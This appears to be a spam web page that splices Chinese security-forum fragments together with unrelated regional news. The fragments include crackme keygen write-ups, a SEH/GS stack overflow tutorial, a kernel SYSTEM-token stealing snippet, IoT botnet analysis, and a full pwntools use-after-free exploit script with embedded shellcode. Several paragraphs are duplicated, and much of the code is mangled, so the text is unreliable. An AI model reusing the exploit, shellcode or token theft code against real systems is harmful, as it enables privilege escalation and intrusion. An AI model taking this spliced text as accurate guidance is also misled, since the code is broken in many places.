www.vns5255.com

有3处"sizeof(BloomWord)"的使用应为"sizeof(BloomWord)*8",因为我们处理的是位,而不是字节。理论上讲,这样就可以把百度网盘变成一个小小的CDN了。先说一下如何过反调试,调试环境为ida和android模拟器,ida卡到不行啊,羡慕有真机的。 OD载入,输入123456,点确定半天没反应,忽然来个内存异常。但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。  房车露营在欧美国家盛行已久,近年来才在中国兴起。因此,对来说我们可以像这样预设置gConfig:VersionSpecificConfiggConfig={0x2e0,0x348};好了,现在我们偷取Token://getSystemEPROCESSULONG64SystemEPROCESS=PsInitialSystemProcess();ULONG64CurrentEPROCESS=PsGetCurrentProcess();ULONG64SystemToken=0;//readtokenfromsystemprocessReadVirtual(SystemEPROCESS+,(BYTE*)SystemToken,sizeof(ULONG64));//writetokentocurrentprocessWriteVirtual(CurrentEPROCESS+,(BYTE*)SystemToken,sizeof(ULONG64));//reSystem:)所用工具当我搜索GDI数据结构时我发现我缺少一个合适的工具来感应它们,特别是当我需要去在所有地方喷射GDI对象的时候。,这将在“JavaScript底层是如何工作的”教程的第2部分中更详细地解释。Satori家族重复使用Mirai代码,包括网络扫描器,telnet密码尝试和看门狗禁用(图4)。Mirai的开源代码为物联网恶意软件作者开发新的变异样本提供了一个很好的起点。 ,6月23日,贵港市第四届“美丽贵港·我爱荷城”荷花展开展,800多个品种的6万多盆荷花盆栽及1万多亩连片种植的荷花免费对公众开放。对消息信号中断(MSIs)来讲,ServiceRoutine指向了内核包装器函数KiInterruptMessageDispatch(),它通过MessageServiceRoutine指向的驱动提供的MSI中断服务例程来调用。对于企业来说,丢失对文件的访问可能意味着业务的中断。

  • 博客访问: 556435
  • 博文数量: 78
  • 用 户 组: 普通用户
  • 注册时间:2018-7-18 11:5:5
  • 认证徽章:
个人简介

眼看着周边的村庄都有电了,只剩后坝漆黑一片。小南庄村的地理气候适合种植西红柿。  央视网消息(新闻联播):宁夏南部的西海固地区自然条件恶劣,贫困人口多。,责任编辑:雷丽娜这里让她感到既亲切又新奇。。村民饶峰说。  而在宫前乡瓦窑沟村,一个总投资100万元的蔬菜大棚建设项目也逐渐成型。。

文章分类

全部博文(400)

文章存档

2015年(221)

2014年(301)

2013年(869)

2012年(432)

订阅
www.vns7155.com 2018-7-18 11:5:5

分类: 爱丽婚嫁网

  细细的网线连接起山村和外面  老师,这样的音乐课很有趣!以后还能经常为我们上课吗湖南省浏阳市澄潭江镇大明教学点的一堂课上,一名学生对着屏幕问道。下一步,我们计划把光伏电站发展到该镇所有符合条件的农户家中,让老百姓享受到光伏发电带来的效益。,处理逻辑encode1是base64,encode2和encode3比较简单,略过sn=encode3(sn)+encode2(sn)+encode1(sn)publicclassMainextendsac{...protectedvoidonCreate(){();...//这个不懂为什么没生效,生效的是基类那个(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassuvextendscc{...protectedvoidonCreate(BundlesavedInstanceState){(newView$OnClickListener(){publicvoidonClick(Viewv){Stringv2=().toString().trim();if(((v2)+(v2)+(v2))==1){(,true);}else{(,false);}}});}}publicclassua{static{(enjoy);}...publicstaticnativeintcheck(uathis,Stringarg1){}}处理逻辑JNI_OnLoad中有两个校验和反调试的地方,静态分析的时候直接nop掉,安装完后再替换掉就可以正常调试了(有检测dexsignature和TracerPid什么的).text:00001F4CBLcheck_:00001F50BLcheck_threadso中的check函数.text:00001F38MOVSR3,#:00001F3CLDRR5,[R2,R3].text:00001F3ELDRR2,=(off_5E54-0x1F48).text:00001F40MOVSR0,:00001F42MOVSR3,#:00001F44ADDR2,PCoff_::00005E54off_5E54JNINativeMethodbyte_5E60,aLjavaLangStrin,check+1len(sn)=120,原始sn长度范围(x+x+x/3*4=120):11~36从结果来看原始sn长度是36,但是我后面是从11开始穷举的,浪费了大量的时间.mytext:0000313ELDRR1,[R5].mytext:00003140MOVSR3,#:00003144LDRR3,[R1,R3].mytext:00003146MOVSR2,#:00003148MOVSR1,:0000314AMOVSR0,::0000314EMOVSR6,:00003150BLj_j_strlen_:00003154STRR4,[SP,#0x50+var_4C].mytext:00003156MOVSR1,#:00003158CMPR0,#:0000315ABGTloc_:0000315CADDR4,SP,#0x50+:0000315EMOVSR2,#:00003160MOVSR0,:00003162BLj_j_memset_:00003166MOVSR1,:00003168MOVSR2,#:0000316AMOVSR0,:0000316CBLj_j_memcpy_:00003170LDRR2,[R5].mytext:00003172MOVSR3,#:00003176LDRR3,[R2,R3].mytext:00003178MOVSR1,:0000317AMOVSR2,:0000317CMOVSR0,::00003180MOVSR0,:00003182BLj_j_strlen_:00003186MOVSR1,:00003188MOVSR0,:0000318ABLcheck_snBYTEbuf[40];BYTEkey1[8];BYTEkey2[16];CopyMemory(buf,sn,36);FillMemory(buf+36,0x04,0x04);des_enc(buf,sizeof(buf),key1);(这里des_set_key在处理PC2_Table的时候与标准有偏差)CopyMemory(key2[12],buf[32],4);rc6_encrypt(buf,32,key2,sizeof(key2));(这个不常碰到,跟了一遍)memcmp(buf,expected,32)==0rc6与标准的区别:Q:0x9e3779b9L=0x61C88647L处理前和处理后都进行了byteswap32signedint__fastcallcheck_sn(constvoid*a1,size_ta2){...if(a2==36){v6=j_j_malloc(0x28u);v7=v6;if(v6){j_j_memcpy(v6,v3,v4);v7[36]=4;v7[37]=4;v7[38]=4;v7[39]=4;do{v8=g_key1[v2];v9=0;do{v17[8*v2+v9]=(v8(7-v9))1;++v9;}while(v9!=8);++v2;}while(v2!=8);des_set_key((int)v17);v10=0;do{v11=v7[v10];j_j_memcpy(dest,v7[v10],8u);v15=0;v16=0;des_1840((int)dest,(int)v15);v10+=8;j_j_memcpy(v11,v15,8u);}while(v10!=40);update_key2((int)g_key2,(int)v15);rc6_encrypt(v7,0x20u,(int)g_key2,16);v12=0;while((unsigned__int8)v7[v12]==byte_5D3D[v12]){if(++v12==32){result=1;gotoLABEL_14;}}}}result=0;...}3.穷举sn以kxuectf{开头,以}结尾这里直接按sn长度为36位来穷举了voidDes_SetKey(constcharKey[8]){staticboolK[64];staticboolKL[56];staticboolKR[56];ByteToBit(K,Key,64);Transform(K,K,PC1_Table,56);CopyMemory(KL[0],K[0],28);CopyMemory(KL[28],K[0],28);CopyMemory(KR[0],K[28],28);CopyMemory(KR[28],K[28],28);intoffset=0;for(inti=0;ii++){offset+=LOOP_Table[i];boolTmp[256];for(intn=0;nn++){if(PC2_Table[n]=28){Tmp[n]=KR[PC2_Table[n]-1-28+offset];}else{Tmp[n]=KL[PC2_Table[n]-1+offset];}}memcpy(SubKey[i],Tmp,48);}}voidtest_sn36(){constchar*charset=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}constchar*charset2=^_`mEJCTNKOGWRSFYVLZQAH[\\]upibejctnkogwrsfyvlzqahmdxKOGWRSFYVLuiconstchar*charset3=NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}陈晓东表示,当前国内新能源汽车、电动自行车的发展前景广阔,贵港将力争在2020年左右实现相关产业产值突破1000亿元。环境OS:Windows10PRO1709IDE:VisualStudio2015Community语言:VisualC++Dropper:注射器的实现原理:简单来说,就是在目标进程中开辟一块堆空间,用于存储DLL的路径,之后使用CreateRemoteThread在目标进程中开启远程线程。,在上面的代码中,获取函数地址的部分没有具体写,上一篇帖子中详细的说明了获取的过程,差别就是上一篇帖子中需要将RVA转化为文件偏移。而在基地,像大菱这样签约进驻的企业还有70多家,涵盖配件生产、整车组装等,生产的电动车销往泰国等地。  除了水稻加单种水产品养殖模式之外,灌阳县还成功探索了“稻+鱼鳅龟鳖等品种”混养模式,该模式能充分利用水体空间,健全生物链,改善环境条件,达到增产量提品质的目的。。关闭优化选项,dep,aslr,safeseh(vs项目属性选择配置属性-链接器-命令行填写“/SAFESEH:NO”)我们可以试试如果和上次一样覆盖掉返回地址当执行到Security_Check_Cookie的时候,他会检查栈Cookies和.data的副本,这时候GS就分发系统异常处理请求然后就由系统接管处理你这个异常我们可以先用mona插件查看程序当前seh链表这个地址指向的就是PointertonextSEHrecord下面的SEhander是ntdll中的系统接管处理。分析上节链接3提示的链接为:,但已经不能下载了。,与此同时,有数百万潜在的易受攻击的设备IP正在排队等待由自动加载程序处理的c2系统,该加载程序会向设备注入恶意代码以扩大僵尸网络,僵尸网络部分借用了一些mirai源代码,但是与mirai在几个关键行为上有明显的不同,其中包括:不再破解任何弱密码,只能利用物联网设备的漏洞集成LUA执行环境,可以支持和执行更复杂的攻击扫描动作比较小,所以不会触发一些安全警告或者防火墙之类设备与C2服务器数据交互的模式:样本下载服务器:,可以从这个服务器下载bot程序,它通常使用“d”作为二级域名,如主控端服务器:,用于控制设备,发送命令,通常使用“e”作为子域,如扫描服务器:,用于收集的潜在存在漏洞的设备信息,通常使用“f”作为子域,如。如果页被访问过,那么字段就被重置为0。关闭优化选项,dep,aslr,safeseh(vs项目属性选择配置属性-链接器-命令行填写“/SAFESEH:NO”)我们可以试试如果和上次一样覆盖掉返回地址当执行到Security_Check_Cookie的时候,他会检查栈Cookies和.data的副本,这时候GS就分发系统异常处理请求然后就由系统接管处理你这个异常我们可以先用mona插件查看程序当前seh链表这个地址指向的就是PointertonextSEHrecord下面的SEhander是ntdll中的系统接管处理。陈晓东表示,当前国内新能源汽车、电动自行车的发展前景广阔,贵港将力争在2020年左右实现相关产业产值突破1000亿元。。 (唐正芳周金有)+1秉承着技术与干货的原则,看雪学院于2017年11月成功举办了第一届安全开发者峰会,议题涵盖了安全编程、软件安全测试、智能设备安全、物联网安全、漏洞挖掘、移动安全、WEB安全、密码学、逆向技术、加密与解密、系统安全等,吸引了业内顶尖的开发者和技术专家,旨在推动软件开发安全的深入交流与分享,为安全人员、软件开发者、广大互联网人士及行业相关人士提供最具价值的交流平台。,中断向量是IDT中每个特定槽的索引值。,Satori家族重复使用Mirai代码,包括网络扫描器,telnet密码尝试和看门狗禁用(图4)。从刚才中的logcat后台错误也可以看到请求http相关类的提示,并进而找到http响应报文的语法格式,如第一个hello请求的响应为(请求报文就不发了,现在是根据之前的hack日志写的,当时没记录):HTTP/:11{"ret":"1"}其中http是可以自己定义的,只要符合http协议。综上,从行为和代码分析来看,没有隐藏后门。但是这里还有一个细节就是当你向上跳转的时候是jmp一个负的地址那么这条jmpXXXX这条指令就会撑爆当前的这四个字节空间,覆盖掉了后面的sehandler数据,所以我们要先在下面找到一个比较近的一块空区域然后在那块区域的地址上写上我们jmpshellcode的指令.我们选择0018FF8O这个地址现在我们加长我们的文本,可以看到下图中,现在搜索我们的poppopret指令,反汇编窗口ctrl+G输入00401804在然后再pop上下断点,shitf+f9运行观察eip,当执行完ret指令后的当前指令修改为jmp0018FF80上图是覆盖PointertoNextRecord为jmp0018FF80为向下跳转,单步一步,然后这里需要一个向上跳转的jmp这里就用我们文本的第一个字节作为shellcode起始位置0018FF80jmp0018FF80的二进制是E9B3FBFF此时0018FF80地址处的指令就是jmp0018FF80单步就到了我们的buf头了可以看到我们覆盖的数据了,二进制是这样的接下来我们就在buf中扣一段shellcode在0018FF80这里写指令跳到它的首地址直接用第一个字节的地址0018FB38总结下过程:1.找到SEH处理函数,寻找跳板poppopret来覆盖掉ntdll中的seHandler2.构造跳板跳向shellcode,字节长度问题可以在seHandler下方找跳板间接找跳板跳向shellcode UseAfterFree本贴讲述如何利用UAF漏洞,实现GOT表覆盖,从而实现命令执行,另外漏洞程序由本人通过逆向14年的ctf获得,同时进行了一些功能的精简,从而得到下面的漏洞程序,解决漏洞讲解没有漏洞源码源码的问题。穷举过程非常漫长。OD打开程序发现OEP是0,程序被加壳或修改过。。“aquario”是南美洲国家流行无线路由器的默认密码。我有一段数据我自己计算的和程序计算的不一样我的C版本和JAVA版本计算的也不一样,蒙圈了,谁有现成的代码,帮我算一下可以吗?数据chatimg:44F2D2EA8BBDB04D56236E62B98E6A1BC版本结果代码地址:http:///l1028386804/article/details/50748724879BD001A16D4B20JAVA版结果代码地址:http:///sjiang2142/article/details/8128428publicstaticfinalStringCrc64String(StringparamString){(Crc64Long(paramString),16);}java版是toString后的结果-362868a8b5c9484d正确结果-57c054443d9021e这个是程序中的代码publicclassUtils{privatestaticlong[]CRCTable=newlong[256];privatestaticfinallongINITIALCRC=-1L;privatestaticfinallongPOLY64REV=-7661587058870466123L;publicstaticfinalStringTAG==false;publicstaticfinallongCrc64Long(StringparamString){if((paramString==null)||(()==0)){l2=0L;returnl2;}longl2=-1L;inti;if(!init){i=0;}intj;for(;;){if(i=256){init=true;j=();i=0;l1=l2;for(;;){l2=l1;if(i=j){break;}intk=(i);l1=CRCTable[(((int)l1^k)0xFF)]^l18;i+=1;}}l1=i;j=0;if(j8){breaklabel121;}CRCTable[i]=l1;i+=1;}label121:if(((int)l10x1)!=0){}for(longl1=l11^0xAC4BC9B5;;l1=1){j+=1;break;}}请问为什么会这样呢?实在是想不通~~,链表的最后总是默认处理程序,这个默认处理程序的指针总是0xFFFFFFFFGS保护机制:Windows在(VisualStudio2003)及以后版本的VisualStudio中默认启动了一个安全编译选项——GS(针对缓冲区溢出时覆盖函数返回地址这一特征)GS保护机制是在函数即将调用的时候向栈桢压入一个DWORD的随机值,同时也向.data段中存放一个SecurityCookies,1.被压入栈中的随机值位于EBP之前.在.data段中的数据实现栈Cookies的校验2.在函数返回之前,系统将会执行一个额外的安全验证操作,被称作当校验发现栈Cookies和.data的副本不吻合则表明发生溢出4.当检测到栈中发生溢出时,系统接管异常,函数不会被正常返回,ret指令也不会被执行5.当栈中发生溢出时,SecurityCookie将被首先淹没,之后才是EBP和返回地址GS保护机制的实现细节是1系统以.data段的第一个DWORD作为Cookie的种子2每次程序运行时的Cookie的种子都不一样,随机性很强3栈桢初始化完毕后用EBP异或种子,作为当前函数的Cookie,以此区别不同函数,增强Cookie的随机性4在函数返回前,用EBP异或还原出Cookie种子绕过GS安全保护的方案1)通过覆盖SEH链表来阻止系统接管异常处理.2)通过改写C++虚表指针来控制程序流程#msvcrt采用进程堆后失效3)用一些未开启GS安全保护的函数进行溢出(可能是关键字保护)||小于四字节的Buf程序很简单,读取文件来还原溢出场景,我将print函数放在了ReadFile下面,可以看到在ShowFileInfo中Printf函数下面有一个Security_Check_Cookie这就是我们的GS缓冲区检测机制的这个函数,工程项目是realse版本的,在项目属性只开启GS。利用思路利用cheat在chunk中放置shellcode,修改got指向chunk中的shellcode相关结构体structx_acc{__int64field_0;charusername[16];charpassword[16];x_character*character;};structx_character{charname[16];__int64health;__int64stamina;__int64weight;__int64location;x_item*item_head;};structx_cheat_st{charname[16];charcontent[32];};structx_chunk{__int64ref_count;__int64size;chardata[1];};structx_item{__int64id;__int64weight;__int64count;x_item*next;__int64bullet;__int64power;};脚本###=Truefrompwnimport*importsysimporttimeimportrecontext(arch=amd64,kernel=amd64,os=linux)#_level=debugelf=ELF(./pwn7)ifargs[LOCAL]:io=process(./pwn7)else:io=remote(,8888)sc="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"defcmd_signup(username,password,character_name):(Signup==============================)(2)(inputyourusername)(username)(inputyourpassword)(password)(inputyourcharacter\sname)(character_name)()returndefcmd_login(username,password):(Signup==============================)(1)(Inputyourusername:)(username)(Inputyourpassword:)(password)returndefcmd_exit():()(0)returndefcmd_show():()(1)(===============================)(==============================)returndefcmd_item_enter():()(2)returndefcmd_item_leave():(YourChoice:)(str(-1))(wrongchoice)returndefcmd_item_view(id):(YourChoice:)(str(id))data=()(2)returndatadefcmd_item_delete(id):(YourChoice:)(str(id))()(1)data=()(2)returndatadefcmd_goto(location):()(3)()(str(location))returndefcmd_explore(l):()(4)(Youfind:)s=(2)ifs==no:(found)returns+=(0)(Doyouwanttopickupit)ifsinl:(y)else:(n)s=returnsdefcmd_explore_until_success(l):while1:item_name=cmd_explore(l)print(pickup:%s%item_name)ifnot(item_name==):(item_name)(1)returndefcmd_cheat(first,name,content):()(5)iffirst==1:(name:)(name)(content:)(content)else:(content:)(content)returndefexploit():username=a*8password=b*8character_name=c*8cmd_signup(username,password,character_name)cmd_login(username,password)#cmd_show()cmd_goto(1)cmd_cheat(1,x*8,y*0x18)#pickup2differentitemsl=[98k,S12K,AKM,M16A4,UMP45,SKS,M416,M24,Bandage,Drink,FirstAidKit]cmd_explore_until_success(l)cmd_explore_until_success(l)#deleteoneitem(initfreelist)cmd_item_enter()data=cmd_item_delete(1)cmd_item_leave()#(io)#input()#putfakepointerinitem2buf=buf+=z*0x40#item1(freed)#item2headerbuf+=p64(1)#ref_countbuf+=p64(0x18)#size#item2buf+=p64([memcmp])#id(fakepointer)buf+=p64(0)#weightbuf+=p64(1)#countbuf+=p64(0)#nextbuf+=p64(0)#bulletbuf+=p64(0)#power#freelistbuf+=p64(0)#ref_countbuf+=p64(0x20)#sizebuf+=p64(0)buf+=p64(0)cmd_cheat(0,x*8,y*0x20+buf)#overwritetargetwithfreelist+0x10cmd_item_enter()data=cmd_item_delete(1)cmd_item_leave()#copyshellcodetofreelist+0x10buf=buf+=z*0xA0buf+=sccmd_cheat(0,x*8,y*0x20+buf)cmd_exit()#triggermemcmp(callshellcode)cmd_login(username,password)()returnexploit()flag{Cr4k4ndH4ckF0rFunG00dLuck2o17}在我的认知范畴,没有什么能在x64系统上替代它工作。 ,Satori家族重复使用Mirai代码,包括网络扫描器,telnet密码尝试和看门狗禁用(图4)。攻击服务器:,通过漏洞将bot程序植入扫描服务器收集的设备中下图显示了上述4个IP的流量模式:Iot_reaper中集成的9个IoT漏洞攻击与使用弱密码破解的Mirai不同,IoT_reaper利用多个物联网设备漏洞感染物联网设备。我和老伴儿很享受这种以路为家的老年生活。HTTP头注入需要说明的是目前HTTP的头注入一般都是见于这种小型的cms中,像大型的cms一般不会出现这样的问题。lsb=(N==dynsymcount-1)||((dl_new_hash(name[N])%nbuckets)!=(dl_new_hash(name[N+1])%nbuckets))hashval=(dl_new_hash(name)~1)|lsb;使用GNUHash查询符号下列展示了一个符号怎样在使用了GNUhashsection的对象中查找的过程。,人民网贵港10月25日电10月25日上午,“岭南古郡水韵荷风”——王荣昌水墨荷花展在贵港市博物馆举行,贵港市委常委、宣传部部长、副市长黄卫平参加开展仪式并宣布画展开展。  此外,积极推进农产品品牌建设工作。 1.处理逻辑name是内置的:readyucode是输入的int__cdeclsub_40AEF0(HWNDhDlg){...GetDlgItemTextA(hDlg,1000,name,64);v1=GetDlgItemTextA(hDlg,1001,code,256);v2=v1;if(v1=0x21){if(code[0]!=0x30){v3=0;if(v1=0){LABEL_9:memset(byte_41BC84,0,sizeof(byte_41BC84));v5=off_418078[check(code,name)];MessageBoxA(hDlg,v5,v5,0);return0;}while(1){v4=code[v3];if(!isxdigit(v4)||islower(v4))break;if(++v3=v2)gotoLABEL_9;}}...}z=10000000000000000000000000000000000000000000000000000000000000000079r=code^5modzr有34字节,前17字节作为x,后17字节作为yepInput=(x,y)根据name计算3个md5值:md0=md5(\x01readyu-pediy)=51C75F1F444BAA97ED18DD6C340835D7md1=md5(\x02\x02readyu-2017)=0E5CF7F068D6EFA16F42F935EC424A75md2=md5(\x03\x03\x03readyu-crackme)=A4CD1D64486ABDE1BE441944460CD41D椭圆曲线:m=131,a=13,b=2,c=1,a2=0,a6=1前面的epInput是这个曲线上的点ep1=(51C99BFA6F18DE467C80C23B98C7994AA,42EA2D112ECEC71FCF7E000D7EFC978BD)ep2=(6C997F3E7F2C66A4A5D2FDA13756A37B1,4A38D11829D32D347BD0C0F584D546E9A)n=200000000000000004D4FDD5703A3F269校验(md2*ep1+epInput)*md0modn==(md2*ep2+epInput)*md1modnsignedint__cdeclcheck(char*code,constchar*a2){...get_mip();v29[0]=0;memset(v29[1],0,0x20u);*(_WORD*)v29[33]=0;v29[35]=0;ptr[0]=0x10;ptr[1]=0;ptr[2]=0;ptr[3]=0;ptr[4]=0;ptr[5]=0;ptr[6]=0;ptr[7]=0;ptr[8]=0;ptr[9]=0;ptr[10]=0;ptr[11]=0;ptr[12]=0;ptr[13]=0;ptr[14]=0;ptr[15]=0;ptr[16]=0;ptr[17]=0;ptr[18]=0;ptr[19]=0;ptr[20]=0;ptr[21]=0;ptr[22]=0;ptr[23]=0;ptr[24]=0;ptr[25]=0;ptr[26]=0;ptr[27]=0;ptr[28]=0;ptr[29]=0;ptr[30]=0;ptr[31]=0;ptr[32]=0;ptr[33]=0x79;mirsys_init();v2=z;a2_1=::a2;v4=::x;y=dword_41BC68;x=dword_41BC64;a6=dword_41BC70;w=dword_41BC74;bytes_to_big(34,ptr,z);cinstr(v4,code);if(mr_compare(v4,v2)=0){power(v4,5,v2,w);memset(v29,0,sizeof(v29));if(big_to_bytes(34,w,v29,1)==34){bytes_to_big(17,v29,x);bytes_to_big(17,v29[17],y);convert(0,a2_1);convert(1,a6);v17=1;if(ecurve2_init(131,13,2,1,a2_1,a6,0,0)){qmemcpy(v46,51C99BFA6F18DE467C80C23B98C7994AA,sizeof(v46));qmemcpy(v47,42EA2D112ECEC71FCF7E000D7EFC978BD,sizeof(v47));qmemcpy(v44,6C997F3E7F2C66A4A5D2FDA13756A37B1,sizeof(v44));qmemcpy(v43,4A38D11829D32D347BD0C0F584D546E9A,sizeof(v43));qmemcpy(v45,200000000000000004D4FDD5703A3F269,sizeof(v45));v30=dword_418118;v31=word_41811C;memset(v32,0,sizeof(v32));v33=0;v34=dword_4180E4;v35=byte_4180E8;memset(v36,0,sizeof(v36));v37=0;v38=0;v40=dword_4180F0;v39=dword_4180EC;memset(v41,0,sizeof(v41));a1=0;memset(v49,0,sizeof(v49));v50=0;v51=0;i=0;v6=a1;a3=(char*)mds;lpMem=(flash)v30;do{strcpy(v6,a2);strcat(v6,-);strcat(v6,(constchar*)lpMem);xmd5(v6,strlen(v6),a3,i+1);v6+=256;++i;lpMem+=4;a3+=16;}while(i3);md0=mirvar(0);md1=mirvar(0);md2=mirvar(0);x1=mirvar(0);a3a=mirvar(0);x2=mirvar(0);lpMema=mirvar(0);v9=mirvar(0);ep1=epoint_init();ep2=epoint_init();p1=epoint_init();p2=epoint_init();epInput=epoint_init();if(epoint2_set(x,y,0,epInput)){cinstr(x1,v46);cinstr(a3a,v47);epoint2_set(x1,a3a,0,ep1);cinstr(x2,v44);cinstr(lpMema,v43);epoint2_set(x2,lpMema,0,ep2);bytes_to_big(16,(_BYTE*)mds,md0);bytes_to_big(16,mds[1],md1);bytes_to_big(16,mds[2],md2);ecurve2_mult(md2,ep1,p1);ecurve2_mult(md2,ep2,p2);ecurve2_add(epInput,p1);ecurve2_add(epInput,p2);ecurve2_mult(md0,p1,p1);ecurve2_mult(md1,p2,p2);epoint2_get(p1,x1,a3a);epoint2_get(p2,x2,lpMema);cinstr(v9,v45);divide(x1,v9,v9);divide(x2,v9,v9);v17=3;if(!mr_compare(x1,x2))v17=0;}else{v17=2;}mirkill(md0);mirkill(md1);mirkill(md2);mirkill(x1);mirkill(x2);mirkill(a3a);mirkill(lpMema);mirkill(v9);epoint_free(ep1);epoint_free(ep2);epoint_free(p1);epoint_free(p2);epoint_free(epInput);}mirexit();result=v17;}else{mirexit();result=1;}}else{mirexit();result=1;}returnresult;}2.计算(md2*ep1+epInput)*md0modn==(md2*ep2+epInput)*md1modn=epInput=(md2*md1*ep2-md2*md0*ep1)*(((md0-md1)^-1)modn)得到(02D23461BA71B50AF182DC76E5A7C726F5,07BE013AF19BD185BCD20BB341EA31298B)voidtest2(){biga2=mirvar(0);biga6=mirvar(1);if(ecurve2_init(131,13,2,1,a2,a6,0,0)){epoint*epInput=epoint_init();bigx=mirvar(0);bigy=mirvar(0);bigmd0=mirvar(0);bigmd1=mirvar(0);bigmd2=mirvar(0);cinstr(md0,51C75F1F444BAA97ED18DD6C340835D7);cinstr(md1,0E5CF7F068D6EFA16F42F935EC424A75);cinstr(md2,A4CD1D64486ABDE1BE441944460CD41D);epoint*p1=epoint_init();bigx1=mirvar(0);bigy1=mirvar(0);cinstr(x1,51C99BFA6F18DE467C80C23B98C7994AA);cinstr(y1,42EA2D112ECEC71FCF7E000D7EFC978BD);epoint2_set(x1,y1,0,p1);epoint*p2=epoint_init();bigx2=mirvar(0);bigy2=mirvar(0);cinstr(x2,6C997F3E7F2C66A4A5D2FDA13756A37B1);cinstr(y2,4A38D11829D32D347BD0C0F584D546E9A);epoint2_set(x2,y2,0,p2);bign=mirvar(0);cinstr(n,200000000000000004D4FDD5703A3F269);ecurve2_mult(md2,p2,p2);ecurve2_mult(md1,p2,p2);ecurve2_mult(md2,p1,p1);ecurve2_mult(md0,p1,p1);ecurve2_sub(p1,p2);bigr=mirvar(0);bigrd=mirvar(0);bignd=mirvar(0);bigz=mirvar(0);subtract(md0,md1,r);xgcd(r,n,rd,nd,z);ecurve2_mult(rd,p2,epInput);epoint2_get(epInput,x,y);charsx[256];charsy[256];cotstr(x,sx);cotstr(y,sy);printf(%s,sx);printf(%s,sy);}}用RDLP计算得到code7A7102F36F3B344D666132A6FF7EF4BA05B99640BB815C9E712A72C64B6ABC582C2同时,三方每年组织员工进行联谊交流,促进环卫、公交队伍建设。调用栈JavaScript是一种单线程语言,这意味着它只有一个调用栈。UseAfterFree本贴讲述如何利用UAF漏洞,实现GOT表覆盖,从而实现命令执行,另外漏洞程序由本人通过逆向14年的ctf获得,同时进行了一些功能的精简,从而得到下面的漏洞程序,解决漏洞讲解没有漏洞源码源码的问题。。所以这不是一个好的用户体验,是吗?那么,我们如何执行大量代码而不会阻塞UI使浏览器无法响应呢?解决方案是异步回调。对于chakra来说这个函数实现在JavascriptArray::FilterHelper函数中,大体逻辑如下if(pArr){Assert(length=MaxArrayLength);uint32i=0;for(uint32k=0;klength;k++){if(!pArr-DirectGetItemAtFull(k,element)){continue;}selected=callBackFn-GetEntryPoint()(callBackFn,CallInfo(CallFlags_Value,4),thisArg,element,JavascriptNumber::ToVar(k,scriptContext),pArr);if(JavascriptConversion::ToBoolean(selected,scriptContext)){//Trytofastpathifthereturnobjectisanarrayif(newArr){newArr-DirectSetItemAt(i,element);}else{JavascriptArray::SetArrayLikeObjects(newObj,i,element);}++i;}}}代码的逻辑很容易理解,首先从源Array中依次取出元素,再根据用户callback进行判断,如果满足条件就置入新的Array中,否则会被丢弃。 ,上面的情景中,Word是32位无符号数,BloomWord是32或64位数,取决于ELFCLASS,Sym相应就是Elf32_Sym和Elf64_Sym。因此,对来说我们可以像这样预设置gConfig:VersionSpecificConfiggConfig={0x2e0,0x348};好了,现在我们偷取Token://getSystemEPROCESSULONG64SystemEPROCESS=PsInitialSystemProcess();ULONG64CurrentEPROCESS=PsGetCurrentProcess();ULONG64SystemToken=0;//readtokenfromsystemprocessReadVirtual(SystemEPROCESS+,(BYTE*)SystemToken,sizeof(ULONG64));//writetokentocurrentprocessWriteVirtual(CurrentEPROCESS+,(BYTE*)SystemToken,sizeof(ULONG64));//reSystem:)所用工具当我搜索GDI数据结构时我发现我缺少一个合适的工具来感应它们,特别是当我需要去在所有地方喷射GDI对象的时候。?“aquario”是南美洲国家流行无线路由器的默认密码。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。1.处理逻辑(大数运算用的gmp)sn长度为70,前6位是e,后面的是p已知n,d,pq,求e,p,qn:6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d:2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4B2.求解因为e0x1000000,所以可以穷举e,得到e:F552B3有了e,因为e过小,可以直接得到p和q这里借用stackoverflow上的内容3.脚本importitertoolsfromgmpy2import*#e=0xF552B3n=0x6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d=0x2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC6